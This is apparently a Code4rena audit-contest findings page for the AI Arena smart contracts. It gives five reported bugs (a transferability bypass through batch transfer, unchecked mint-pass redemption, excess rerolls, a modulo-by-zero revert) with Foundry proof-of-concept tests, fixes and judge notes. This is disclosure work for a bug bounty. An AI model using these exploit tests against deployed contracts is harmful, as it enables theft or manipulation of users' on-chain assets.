Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 191/283
Findings: 5
Award: $3.74
π Selected for report: 0
π Solo Findings: 0
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L10 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134
Intransferable items are intended not to change ownership, and the GameItems
contract addresses this by overriding safeTransferFrom
to verify that require(allGameItemAttributes[tokenId].transferable)
is met. However, it overlooks that ERC1155
tokens can also be transferred using safeBatchTransferFrom
.
function testTransferIntransferableItem() public { _gameItemsContract.adjustTransferability(0, false); (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0); uint256[] memory ids = new uint256[](1); uint256[] memory amounts = new uint256[](1); ids[0] = 0; amounts[0] = 1; uint256 balancePre = _gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0); _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(0, 1); _gameItemsContract.safeBatchTransferFrom(_ownerAddress , _DELEGATED_ADDRESS, ids, amounts, ""); uint256 balancePost = _gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0); assertEq(transferable, false); assertEq(balancePre, 0); assertEq(balancePost, 1); }
Foundry
Override safeBatchTransferFrom
in the same way as safeTransferFrom
was overridden.
Token-Transfer
#0 - c4-pre-sort
2024-02-22T04:22:39Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:22:47Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:29:16Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:56:50Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L251 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L235 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L257
The function FighterFarm.redeemMintPass
attempts to generate a new fighter using a mintPass, but when claiming it, it burns it directly without verifying the arguments, allowing us to mint a completely customized fighter, such as minting dendroids at our pleasure.
function testRedeemMintPassToMintDendroid() public { // numToMint => clearly we suppose to mint a fighter != dendroid uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; _fighterTypes[0] = 1; _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; _mintPassContract.approve(address(_fighterFarmContract), 1); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0); assert(dendroidBool == true); }
Foundry
Properly verify the arguments of redeemMintPass
.
Other
#0 - c4-pre-sort
2024-02-22T08:03:29Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:03:35Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:47Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:35:01Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L372 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L129
The function FighterFarm.reRoll
accepts tokenId
and fighterType
to perform a reRoll. We can also notice that numRerolls[tokenId] < maxRerollsAllowed[fighterType]
to not exceed the maximum number of reRolls. Immediately, we can see that since fighterType is chosen by msg.sender
, we can perform more reRolls than what our NFT of its corresponding fighterType should actually allow.
By calling FighterFarm.incrementGeneration
, we can differentiate the default values of maxRerollsAllowed[fighterType]
. Therefore, we can immediately notice that require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
within the reRoll function loses precision.
Manual Review
fighterType
should be obtained through the tokenId
within the reRoll
function.
Other
#0 - c4-pre-sort
2024-02-22T02:26:22Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T02:26:28Z
raymondfam marked the issue as duplicate of #306
#2 - c4-judge
2024-03-05T04:36:05Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L110 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L42 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L129-L134
FighterFarm._createFighterBase
attempts to establish an element using a DNA, a modulo (%) operation, and numElements[generation[fighterType]]
. To begin with, this requires numElements[generation[fighterType]] != 0
for the function not to revert (one might think that this is what the developer intended, but it's a very uninformative way of handling the exception). Additionally, we have no way of editing numElements
, so the only generation[fighterType]
value that prevents the function from reverting is the one set in the constructor of the contract numElements[0] = 3.
function testMintDendroidGen0ShouldSucceed() public { uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; _fighterTypes[0] = 1; _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; _mintPassContract.approve(address(_fighterFarmContract), 1); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0); assert(dendroidBool == true); } function testMintDendroidGen1ShouldRevert() public { uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; _fighterTypes[0] = 1; _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; _mintPassContract.approve(address(_fighterFarmContract), 1); _fighterFarmContract.incrementGeneration(1); vm.expectRevert(); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); }
To create a dendroid without modifying the code, I leveraged what I consider a vulnerability in _fighterFarmContract.redeemMintPass
, which I reported separately, so it can be ignored. The purpose is to understand that once we increase _fighterFarmContract.incrementGeneration(1), we can no longer create more dendroids due to the following error: panic: division or modulo by zero (0x12).
Foundry
Being able to modify numElements
through a function accessible only by the developer could be an option.
Other
#0 - c4-pre-sort
2024-02-22T19:01:41Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T19:01:50Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-07T06:53:30Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-08T03:17:03Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
Judge has assessed an item in Issue #1929 as 2 risk. The relevant finding follows:
Increasing to 7 winners per round and with 6000 roundIds previously played, approximately when a transaction reaches the 30M limit for new users in the protocol, considering that each roundId is 14 days, we would not have problems with the current implementation for new users starting at elevated roundIds.
#0 - c4-judge
2024-03-12T02:54:36Z
HickupHH3 marked the issue as duplicate of #216
#1 - c4-judge
2024-03-12T02:54:40Z
HickupHH3 marked the issue as partial-25
#2 - c4-judge
2024-03-21T03:03:00Z
HickupHH3 marked the issue as satisfactory